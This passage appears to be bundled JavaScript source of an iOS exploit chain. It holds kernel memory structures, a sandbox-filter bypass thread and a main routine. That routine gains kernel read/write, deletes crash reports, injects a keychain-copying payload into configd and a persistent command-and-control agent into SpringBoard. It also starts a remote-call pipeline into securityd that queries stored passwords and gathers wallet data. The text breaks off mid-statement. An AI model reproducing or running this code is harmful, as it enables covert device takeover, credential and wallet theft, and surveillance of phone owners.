vm_map_store { #__mem; #__view; #__addr; #__off; constructor(mem=undefined, off=0) { this.#__mem = mem ? mem : new Uint8Array(0x18); this.#__view = new DataView(this.#__mem.buffer); this.#__off = off; this.sizeof = this.#__mem.length; } get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; } /* left element */ get rbe_left() { return this.#__view.getBigUint64(this.#__off, true); } set rbe_left(val) { this.#__view.setBigUint64(this.#__off, val, true); } /* right element */ get rbe_right() { return this.#__view.getBigUint64(this.#__off+0x8, true); } set rbe_right(val) { this.#__view.setBigUint64(this.#__off+0x8, val, true); } /* parent element */ get rbe_parent() { return this.#__view.getBigUint64(this.#__off+0x10, true); } set rbe_parent(val) { this.#__view.setBigUint64(this.#__off+0x10, val, true); } }; class vm_map_entry { #__mem; #__view; #__addr; #__off; constructor(mem=undefined, off=0) { this.#__mem = mem ? mem : new Uint8Array(0x50); this.#__view = new DataView(this.#__mem.buffer); this.#__off = off; this.sizeof = this.#__mem.length; this.links = new vm_map_links(this.#__mem, this.#__off); this.store = new vm_map_store(this.#__mem, this.#__off+0x20); } get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; } // Union field 1 get vme_object_value() { return this.#__view.getBigUint64(this.#__off+0x38, true); } set vme_object_value(val) { this.#__view.setBigUint64(this.#__off+0x38, val, true); } // Union field 2 get vme_atomic() { return this.#__view.getUint8(this.#__off+0x38, true) & 1; } set vme_atomic(val) { let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfe; this.#__view.setUint8(this.#__off+0x38, cur + (val & 1), true); } get is_sub_map() { return (this.#__view.getUint8(this.#__off+0x38, true) & 2) >> 1; } set is_sub_map(val) { let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfd; this.#__view.setUint8(this.#__off+0x38, cur + ((val & 1) << 1), true); } get vme_submap() { return this.#__view.getBigUint64(this.#__off+0x38, true) >> 2n; } set vme_submap(val) { let cur = this.#__view.getBigUint64(this.#__off+0x38, true) & 3n; this.#__view.setBigUint64(this.#__off+0x38, cur + ((val & 0x3fffffffffffffffn) << 2n), true); } // Union field 3 get vme_ctx_atomic() { return this.#__view.getUint8(this.#__off+0x38, true) & 1; } set vme_ctx_atomic(val) { let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfe; this.#__view.setUint8(this.#__off+0x38, cur + (val & 1), true); } get vme_ctx_is_sub_map() { return (this.#__view.getUint8(this.#__off+0x38, true) & 2) >> 1; } set vme_ctx_is_sub_map(val) { let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfd; this.#__view.setUint8(this.#__off+0x38, cur + ((val & 1) << 1), true); } get vme_context() { return this.#__view.getUint32(this.#__off+0x38, true) >> 2; } set vme_context(val) { let cur = this.#__view.getUint32(this.#__off+0x38, true) & 2; this.#__view.setUint32(this.#__off+0x38, cur + (val << 2), true); } get vme_object() { return this.#__view.getUint32(this.#__off+0x3c, true); } set vme_object(val) { this.#__view.setUint32(this.#__off+0x3c, val, true); } // vme_alias:12, /* entry VM tag */ // vme_offset:52, /* offset into object */ get vme_offset() { return this.#__view.getBigUint64(this.#__off+0x40, true) >> 12n; } set vme_offset(val) { let cur = this.#__view.getBigUint64(this.#__off+0x40, true) & 0xfffn; this.#__view.setBigUint64(this.#__off+0x40, cur + (val << 12n), true); } // is_shared:1, /* region is shared */ // __unused1:1, // in_transition:1, /* Entry being changed */ // needs_wakeup:1, /* Waiters on in_transition */ // behavior:2, /* user paging behavior hint */ // needs_copy:1, /* object need to be copied? */ // protection:3, /* protection code */ // used_for_tpro:1, // max_protection:4, /* maximum protection, bit3=UEXEC */ // inheritance:2, /* inheritance */ // use_pmap:1, // no_cache:1, /* should new pages be cached? */ // vme_permanent:1, /* mapping can not be removed */ // superpage_size:1, /* use superpages of a certain size */ // map_aligned:1, /* align to map's page size */ // zero_wired_pages:1, // used_for_jit:1, // csm_associated:1, /* code signing monitor will validate */ // iokit_acct:1, // vme_resilient_codesign:1, // vme_resilient_media:1, // vme_xnu_user_debug:1, // vme_no_copy_on_read:1, // translated_allow_execute:1, /* execute in translated processes */ // vme_kernel_object:1; /* vme_object is kernel_object */ /* can be paged if = 0 */ get wired_count() { return this.#__view.getUint16(this.#__off+0x4c, true); } set wired_count(val) { this.#__view.setUint16(this.#__off+0x4c, val, true); } /* for vm_wire */ get user_wired_count() { return this.#__view.getUint16(this.#__off+0x4e, true); } set user_wired_count(val) { this.#__view.setUint16(this.#__off+0x4e, val, true); } }; /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ({vm_map_entry,vm_map_links,vm_map_store}); /***/ }), /***/ "./src/libs/TaskRop/VmPackingParams.js": /*!*********************************************!*\ !*** ./src/libs/TaskRop/VmPackingParams.js ***! \*********************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ VmPackingParams) /* harmony export */ }); class VmPackingParams { #buffer; #dataView; constructor(buffer) { this.#buffer = buffer; this.#dataView = new DataView(this.#buffer); } get vmpp_base() { return this.#dataView.getBigUint64(0,true); } set vmpp_base(value) { this.#dataView.setBigUint64(0,value,true); } get vmpp_bits() { return this.#dataView.getUint8(8,true); } set vmpp_bits(value) { this.#dataView.setUint8(8,value,true); } get vmpp_shift() { return this.#dataView.getUint8(9,true); } set vmpp_shift(value) { this.#dataView.setUint8(9,value,true); } get vmpp_base_relative() { return this.#dataView.getUint8(10,true); } set vmpp_base_relative(value) { this.#dataView.setUint8(10,value,true); } } /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry needs to be wrapped in an IIFE because it needs to be isolated against other modules in the chunk. (() => { /*!*********************!*\ !*** ./src/main.js ***! \*********************/ __webpack_require__.r(__webpack_exports__); /* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); /* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); /* harmony import */ var libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/TaskRop/TaskRop */ "./src/libs/TaskRop/TaskRop.js"); /* harmony import */ var libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/TaskRop/Task */ "./src/libs/TaskRop/Task.js"); /* harmony import */ var libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/TaskRop/Sandbox */ "./src/libs/TaskRop/Sandbox.js"); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); /* harmony import */ var _InjectJS__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./InjectJS */ "./src/InjectJS.js"); /* harmony import */ var libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! libs/Driver/Driver */ "./src/libs/Driver/Driver.js"); /* harmony import */ var libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! libs/TaskRop/RemoteCall */ "./src/libs/TaskRop/RemoteCall.js"); /* harmony import */ var _raw_loader_dist_MigFilterBypassThread_js__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! !raw-loader!../dist/MigFilterBypassThread.js */ "./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js"); /* harmony import */ var _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! !raw-loader!loader.js */ "./node_modules/raw-loader/dist/cjs.js!./src/loader.js"); /* harmony import */ var _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__ = __webpack_require__(/*! !raw-loader!c2_agent.js */ "./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js"); /* harmony import */ var _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__ = __webpack_require__(/*! !raw-loader!keychain_copier.js */ "./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js"); class MigFilterBypass { #running; #sharedMem; #runFlagPtr; #isRunningPtr; #monitorThread1Ptr; #monitorThread2Ptr; #mutexPtr; constructor(mutexPtr) { this.#mutexPtr = mutexPtr; this.#running = false; this.#sharedMem = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("calloc", 1, 0x100)); this.#runFlagPtr = this.#sharedMem; this.#isRunningPtr = this.#sharedMem + 0x4n; this.#monitorThread1Ptr = this.#sharedMem + 0x8n; this.#monitorThread2Ptr = this.#sharedMem + 0x10n; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 2); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#isRunningPtr, 0); } start() { if (this.#running) return; let threadSelf = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_thread_self")); let threadSelfAddr = BigInt(libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(threadSelf)); let threadMem = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("calloc", 1, 0x400)); let kernelRW = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].transferRW(); let kernelBase = BigInt(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].getKernelBase()); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem, BigInt(kernelRW.controlSocket)); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x8n, BigInt(kernelRW.rwSocket)); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x10n, kernelBase); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x18n, threadSelfAddr); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x20n, this.#runFlagPtr); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x28n, this.#isRunningPtr); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x30n, this.#mutexPtr); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x38n, BigInt(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().migLock)); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x40n, BigInt(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().migSbxMsg)); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x48n, BigInt(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().migKernelStackLR)); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x50n, this.#monitorThread1Ptr); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x58n, this.#monitorThread2Ptr); //Native.write64(threadMem, lock.kernelSlide); //Native.write64(threadMem + 0x8n, lock.lockAddr); //console.log(TAG, `Spawn bypass thread with args: kernelSlide=${Utils.hex(lock.kernelSlide)}, lockAddr=${Utils.hex(lock.lockAddr)}`); const threadCode = "fcall_init(); " + _raw_loader_dist_MigFilterBypassThread_js__WEBPACK_IMPORTED_MODULE_9__["default"]; libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].threadSpawn(threadCode, threadMem); for (let i=0; i<10; i++) { let isRunning = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(this.#isRunningPtr); if (isRunning) break; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 500000); } this.#running = true; } stop() { if (!this.#running) return; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 0); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); this.#running = false; } pause() { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 2); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); } resume() { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 1); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); } monitorThreads(thread1, thread2) { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(this.#monitorThread1Ptr, thread1); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(this.#monitorThread2Ptr, thread2); } } function xnuVersion() { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("uname", libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem); const release = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x200n, 0x100); let splittedVersion = release.split("."); let xnuMajor = splittedVersion[0]; let xnuMinor = splittedVersion[1]; return {major: xnuMajor, minor: xnuMinor}; } const TAG = "MAIN"; //const targetProcess = "bluetoothd"; const targetProcess = "SpringBoard"; function start() { let mutexPtr = null; let migFilterBypass = null; globalThis.xnuVersion = xnuVersion(); let ver = globalThis.xnuVersion; // If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions if (ver.major == 24 && ver.minor >= 4) { mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100)); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null); migFilterBypass = new MigFilterBypass(mutexPtr); } let driver = new libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"](); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver, mutexPtr); let resultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE(); if (!resultPE) return; libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init(); if(migFilterBypass) migFilterBypass.start(); // ===== P7 Debug Logger (accumulate in memory, flush after sandbox escape) ===== var p7_tag = "[P7] "; var p7_logBuf = ""; function p7_flog(msg) { LOG(p7_tag + msg); p7_logBuf += p7_tag + msg + "\n"; } function p7_flushLog() { if (!p7_logBuf) return; try { let p7_fd = fopen(get_cstring("/tmp/p7_debug.log"), get_cstring("a")); if (p7_fd && p7_fd !== 0n) { let p7_buf = get_cstring(p7_logBuf); fwrite(p7_buf, 1n, BigInt(p7_logBuf.length), p7_fd); fclose(p7_fd); let p7_flushedLen = p7_logBuf.length; p7_logBuf = ""; p7_flog("log flushed to /tmp/p7_debug.log (" + p7_flushedLen + " bytes)"); } } catch (p7_fe) { LOG(p7_tag + "flush failed: " + p7_fe); } } let p7_enableP7 = true; LOG("[PE] creating launchdTask..."); let launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass); if (!launchdTask.success()) { LOG("[PE] launchdTask FAILED"); return false; } LOG("[PE] launchdTask OK, init sandbox..."); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].deleteCrashReports(); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens(); LOG("[PE] sandbox tokens created"); // ===== Self-process ucred READ-ONLY probe ===== // Uses the PROVEN path from sandbox extension code (line 6641-6653): // proc + 0x18 -> credRef + 0x28 -> ucred // ucred + 0x18 = cr_uid (offset 24, matches IDA key 35) // ucred + 0x78 = cr_label (offset 120, matches IDA key 44) try { let C = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"]; let HEX = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__["default"].hex; let T = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"]; let selfTask = T.gSelfTask.addr; let selfProcRO = C.read64(selfTask + C.offsets().procRO); let selfProc = C.read64(selfProcRO); LOG("[UCRED] task=" + HEX(C.strip(selfTask)) + " proc=" + HEX(C.strip(selfProc))); let credRef = C.read64(selfProc + 0x18n); LOG("[UCRED] credRef=" + HEX(C.strip(credRef))); let diag = "proc=" + HEX(C.strip(selfProc)); if (credRef && C.strip(credRef) >= 0xffffffd000000000n) { let ucred = C.read64(credRef + 0x28n); LOG("[UCRED] ucred=" + HEX(C.strip(ucred))); diag += "|ucred=" + HEX(C.strip(ucred)); if (ucred && C.strip(ucred) >= 0xffffffd000000000n) { let cr_uid = C.read32(ucred + 0x18n); let cr_ruid = C.read32(ucred + 0x1cn); let cr_svuid = C.read32(ucred + 0x20n); let cr_ngroups = C.read32(ucred + 0x24n); let cr_label = C.read64(ucred + 0x78n); LOG("[UCRED] cr_uid=" + cr_uid + " cr_ruid=" + cr_ruid + " cr_svuid=" + cr_svuid + " cr_ngroups=" + cr_ngroups); LOG("[UCRED] cr_label=" + HEX(C.strip(cr_label))); diag += "|uid=" + cr_uid + "|ruid=" + cr_ruid + "|svuid=" + cr_svuid; diag += "|ngroups=" + cr_ngroups + "|cr_label=" + HEX(C.strip(cr_label)); // Also dump a few more ucred fields for structure verification for (let doff = 0x00n; doff <= 0x80n; doff += 8n) { try { let val = C.read64(ucred + doff); diag += "|u+" + doff.toString(16) + "=" + HEX(C.strip(val)); } catch(e3) {} } } else { diag += "|ucred_INVALID"; } } else { diag += "|credRef_INVALID"; } globalThis.__ucredDiag = diag; LOG("[UCRED] diag=" + diag.substring(0, 200)); } catch (probeErr) { globalThis.__ucredDiag = "probe_error:" + String(probeErr); LOG("[UCRED] error: " + probeErr); } // ===== End ucred probe ===== // Flush Phase 1 log now that sandbox tokens exist if (p7_enableP7) { p7_flog("launchd RC OK, sandbox tokens created"); p7_flushLog(); } // ===== keychain_copier: must run BEFORE P7 Phase 2 sqlite pipeline ===== LOG("[PE-WORKER] inject keychain_copier -> configd"); try { let kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"]("configd", _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass); if (kcCopier.inject()) { LOG("[PE-WORKER] keychain_copier OK"); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task); kcCopier.destroy(); } else { LOG("[PE-WORKER] keychain_copier FAILED"); } } catch (kcErr) { LOG("[PE-WORKER] keychain_copier error: " + kcErr); } LOG("[PE-WORKER] waiting 3s for keychain copy..."); for (let i = 1; i <= 3; i++) { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); } libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess); LOG("[PE] destroying launchd RC to free zone resources..."); try { launchdTask.destroy(); } catch(e) { LOG("[PE] launchd destroy warn: " + e); } // ===== Inject loader + c2_agent BEFORE P7 Phase 2 ===== // If P7 crashes pe_worker, c2_agent will already be alive for log retrieval LOG("[PE-WORKER] inject loader -> " + targetProcess); let agentLoader = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass); let agentPid = 0; if (agentLoader.inject()) { agentPid = agentLoader.task.pid(); LOG("[PE-WORKER] loader OK pid=" + agentPid); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task); agentLoader.destroy(); } else { LOG("[PE-WORKER] loader inject FAILED"); } LOG("[PE-WORKER] inject c2_agent -> " + targetProcess); try { let c2Code = _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__["default"]; // Forward channel code from the rce_worker eval scope (set by sbx1_main // via `var __CHANNEL_CODE__="...";` prepend) into the c2_agent string // so it is available when evaluated inside SpringBoard's JSContext. // Without this, C2_CHANNEL_CODE is always "" in the injected agent // because __CHANNEL_CODE__ only exists in the rce_worker eval scope, // NOT in SpringBoard where the c2_agent actually runs. try { let _cc = (typeof __CHANNEL_CODE__ !== 'undefined' && __CHANNEL_CODE__) || ''; if (_cc) { c2Code = 'var __CHANNEL_CODE__=' + JSON.stringify(_cc) + ';\n' + c2Code; LOG("[PE-WORKER] channel code forwarded: " + _cc); } else { LOG("[PE-WORKER] no channel code to forward"); } } catch(ccErr) { LOG("[PE-WORKER] channel code forward error: " + ccErr); } try { let diagData = globalThis.__ucredDiag || "no_diag"; let diagSnippet = '\nglobalThis.__ucredDiag=' + JSON.stringify(diagData) + ';\nglobalThis.__peInjectTs=' + JSON.stringify(String(Date.now())) + ';\n'; c2Code = c2Code.replace('Native.init();', 'Native.init();' + diagSnippet); LOG("[PE-WORKER] ucred diag inserted (" + diagData.length + " chars)"); } catch(dErr) { LOG("[PE-WORKER] diag insert error: " + dErr); } let c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, c2Code, migFilterBypass); if (c2Agent.inject()) { LOG("[PE-WORKER] c2_agent OK - persistent loop started"); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task); c2Agent.destroy(); } else { LOG("[PE-WORKER] c2_agent FAILED"); } } catch (c2Err) { LOG("[PE-WORKER] c2_agent error: " + c2Err); } // ===== P7 Phase 2: V4 Local SQLite + Remote AKS Oracle Pipeline ===== if (p7_enableP7) { let p7_secRC = null; try { p7_flog("=== Phase 2: V4 AKS Oracle Pipeline ==="); let N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; function p7_toPtr(v) { if (typeof v === 'bigint') return v; if (typeof v === 'number') return BigInt(v); if (v === null || v === undefined) return 0n; p7_flog("WARN toPtr: type=" + typeof v + " v=" + String(v).slice(0, 40)); return 0n; } function p7_toRC(v) { if (typeof v === 'number') return v; if (typeof v === 'bigint') return Number(v & 0xFFFFFFFFn); if (v === null || v === undefined) return -1; p7_flog("WARN toRC: type=" + typeof v + " v=" + String(v).slice(0, 40)); return -1; } function p7_requirePtr(label, v) { if (typeof v === 'bigint') return v; if (typeof v === 'number') return BigInt(v); p7_flog("BUG requirePtr(" + label + "): got " + typeof v); throw new TypeError("requirePtr(" + label + "): expected bigint|number, got " + typeof v); } // --- Poke securityd: 3x SecItemCopyMatching (wake threads before RC) --- p7_flog("Poke: waking securityd..."); try { var p7_rpResult = p7_toPtr(N.callSymbol("malloc", 8n)); if (p7_rpResult && p7_rpResult !== 0n) { var p7_rpKSC = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecClass"))); var p7_rpKGP = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecClassGenericPassword"))); var p7_rpKML = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecMatchLimit"))); var p7_rpKM1 = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecMatchLimitOne"))); for (var pi = 0; pi < 3; pi++) { var pq = p7_toPtr(N.callSymbol("CFDictionaryCreateMutable", 0n, 2n, 0n, 0n)); if (!pq || pq === 0n) break; N.callSymbol("CFDictionarySetValue", pq, p7_rpKSC, p7_rpKGP); N.callSymbol("CFDictionarySetValue", pq, p7_rpKML, p7_rpKM1); N.write64(p7_rpResult, 0n); var pr = Number(N.callSymbol("SecItemCopyMatching", pq, p7_rpResult)); var pref = N.readPtr(p7_rpResult); if (pref && pref !== 0n) N.callSymbol("CFRelease", pref); N.callSymbol("CFRelease", pq); p7_flog("poke[" + pi + "] ret=" + pr); } N.callSymbol("free", p7_rpResult); } p7_flog("Poke done"); } catch (pokeErr) { p7_flog("Poke error: " + pokeErr); } // --- RC(securityd) single attempt (immediately after poke) --- p7_flushLog(); var p7_t0 = Date.now(); p7_flog("RC: creating securityd..."); try { p7_secRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("securityd", migFilterBypass); p7_flog("RC: constructor took " + (Date.now() - p7_t0) + "ms success=" + p7_secRC.success()); } catch (rcErr) { p7_flog("RC constructor threw after " + (Date.now() - p7_t0) + "ms: " + String(rcErr)); p7_secRC = null; } if (!p7_secRC || !p7_secRC.success()) { p7_flog("RC(securityd) FAILED"); if (p7_secRC) { try { p7_secRC.destroy(); } catch(e) {} } p7_secRC = null; } else { let p7_remotePid = p7_toRC(p7_secRC.call(3000, "getpid")); let p7_remoteUid = p7_toRC(p7_secRC.call(3000, "getuid")); p7_flog("RC(securityd) pid=" + p7_remotePid + " uid=" + p7_remoteUid); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(p7_secRC); p7_flushLog(); let p7_rm = p7_secRC.mem(); let p7_sp = p7_secRC.lastLiveSP(); p7_flog("RC mem=0x" + p7_rm.toString(16) + " liveSP=0x" + p7_sp.toString(16)); // --- 2B: Remote AKS IOKit init --- function p7_rcDlsym(name) { p7_secRC.writeStr(p7_rm, name); return p7_toPtr(p7_secRC.call(3000, "dlsym", 0xfffffffffffffffen, p7_rm)); } function p7_rcCallN(funcName, x0, x1, x2, x3, x4, x5, x6, x7, stackArgs) { let sp = p7_secRC.lastLiveSP(); if (!sp) { p7_flog("callN: no live SP!"); return 0n; } if (stackArgs) { for (var si = 0; si < stackArgs.length; si++) p7_secRC.write64(sp + BigInt(si * 8), stackArgs[si] || 0n); } return p7_secRC.call(5000, funcName, x0 || 0n, x1 || 0n, x2 || 0n, x3 || 0n, x4 || 0n, x5 || 0n, x6 || 0n, x7 || 0n); } function p7_rcCalloc(size) { var raw = p7_secRC.call(3000, "calloc", 1n, BigInt(size)); if (typeof raw !== 'bigint' && typeof raw !== 'number') p7_flog("rcCalloc(" + size + ") raw type=" + typeof raw + " val=" + String(raw).slice(0, 60)); return p7_toPtr(raw); } function p7_rcFree(ptr) { if (ptr && ptr !== 0n) p7_secRC.call(1000, "free", p7_requirePtr("rcFree", ptr)); } function p7_rcWriteBuf(remoteDst, buf, len) { p7_requirePtr("rcWriteBuf.dst", remoteDst); var tmp = BigInt(N.callSymbol("malloc", len)); N.write(tmp, buf.buffer || buf); p7_secRC.write(remoteDst, tmp, len); N.callSymbol("free", tmp); } function p7_rcReadBuf(remoteSrc, len) { p7_requirePtr("rcReadBuf.src", remoteSrc); var tmp = BigInt(N.callSymbol("malloc", len)); p7_secRC.read(remoteSrc, tmp, len); var data = N.read(tmp, len); N.callSymbol("free", tmp); return data; } var p7_aksConn = 0n; var p7_aksReady = false; var p7_result = { timestamp: new Date().toISOString(), source: "pe_worker_v4", securityd_pid: p7_remotePid, securityd_uid: p7_remoteUid, diagnostics: {}, metadataKeys: {}, tables: {}, wallets: {}, errors: [] }; // Resolve IOKit symbols in securityd var p7_symIOSM = p7_rcDlsym("IOServiceMatching"); var p7_symIOSGMS = p7_rcDlsym("IOServiceGetMatchingService"); var p7_symIOSO = p7_rcDlsym("IOServiceOpen"); var p7_symIOOR = p7_rcDlsym("IOObjectRelease"); var p7_symIOCCM = p7_rcDlsym("IOConnectCallMethod"); p7_flog("IOKit syms: Matching=0x" + p7_symIOSM.toString(16) + " GetMatching=0x" + p7_symIOSGMS.toString(16) + " Open=0x" + p7_symIOSO.toString(16) + " CallMethod=0x" + p7_symIOCCM.toString(16)); if (p7_symIOSM && p7_symIOSGMS && p7_symIOSO && p7_symIOCCM) { // task_self_trap in securityd var p7_secTaskSelf = 